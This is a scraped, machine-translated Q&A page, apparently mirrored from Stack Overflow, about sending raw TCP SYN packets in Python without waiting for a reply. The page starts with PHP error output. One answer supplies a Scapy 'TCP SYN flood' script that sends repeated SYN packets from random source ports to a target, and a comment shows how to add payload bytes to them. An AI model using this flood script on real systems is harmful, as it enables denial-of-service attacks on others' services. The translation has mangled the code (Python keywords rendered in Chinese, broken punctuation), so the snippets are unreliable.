Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/tensorflow/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 套接字。永远连接块。如何只发送长度为的SYN数据包而不等待响应?_Python_Python 3.x_Sockets_Tcp_Scapy - Fatal编程技术网

Python 套接字。永远连接块。如何只发送长度为的SYN数据包而不等待响应?

Python 套接字。永远连接块。如何只发送长度为的SYN数据包而不等待响应?,python,python-3.x,sockets,tcp,scapy,Python,Python 3.x,Sockets,Tcp,Scapy,我有一个简单的代码: import socket ip = "myip" port = myport s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,port)) print("SYN packet sent.") 如果我运行它,它永远不会到达打印,因此它永远不会完成连接,这是因为我要连接的IP没有打开该端口 事实上,我不想完成连接,只需要发送SYN请求 此外,我还需要发送长度为的数据包。如果我使用hp

我有一个简单的代码:

import socket

ip = "myip"
port = myport

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")
如果我运行它,它永远不会到达打印,因此它永远不会完成连接,这是因为我要连接的IP没有打开该端口

事实上,我不想完成连接,只需要发送SYN请求

此外,我还需要发送长度为的数据包。如果我使用hping3进行测试并嗅探发送的syn数据包,我会看到有一个长度为100的有效负载。如何将此有效负载“添加”到数据包中


我该怎么做呢?

如果您不想等待响应,例如,您可以使用

以下是设置5秒超时的示例:

试试看:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s、 设置超时(5)
s、 连接((ip,端口))
除socket.timeout外:
通过
另一种解决方案(尽管更困难)是使用原始套接字手动发送数据包

您可以使用tcpdump等工具验证数据包是否确实已发送:

$ tcpdump 'tcp port 5005'

据我所知,您所追求的是TCP SYN洪水,可能最好使用。这可以通过以下类似代码实现:

从scapy.all导入*
def溢流(src_ip、dst_ip、dst_端口、数量):
ip=ip(src=src_ip,dst=dst_ip)
对于范围内的i(0,金额):
src_port=random.randint(2065000)
传输=TCP(运动=src_端口,dport=dst_端口,flags=“S”)
发送(ip/传输)
如果uuuu name uuuuuu='\uuuuuuu main\uuuuuuu':
洪水('x.x.x.x','x.x.x.x','443','1000')

如上所述,重要的是要注意不能在SYN数据包内发送数据

你错了。它不会永远阻塞。大约一分钟后就会超时。您可以使用连接超时或非阻塞模式。原始套接字没有帮助。您必须与他们进行整个对话,平台很可能会拒绝他们不知道的TCP连接的TCP数据包。您好,谢谢您的帮助。顺便说一下,使用hping3发送syn数据包,并嗅探发送的数据包,我发现有一个100长度的有效负载。即使端口关闭,我如何在这些scapy-make数据包中“添加”此有效负载?您可以通过添加字节来添加数据:
send(ip/transport/b“deliciousdata”)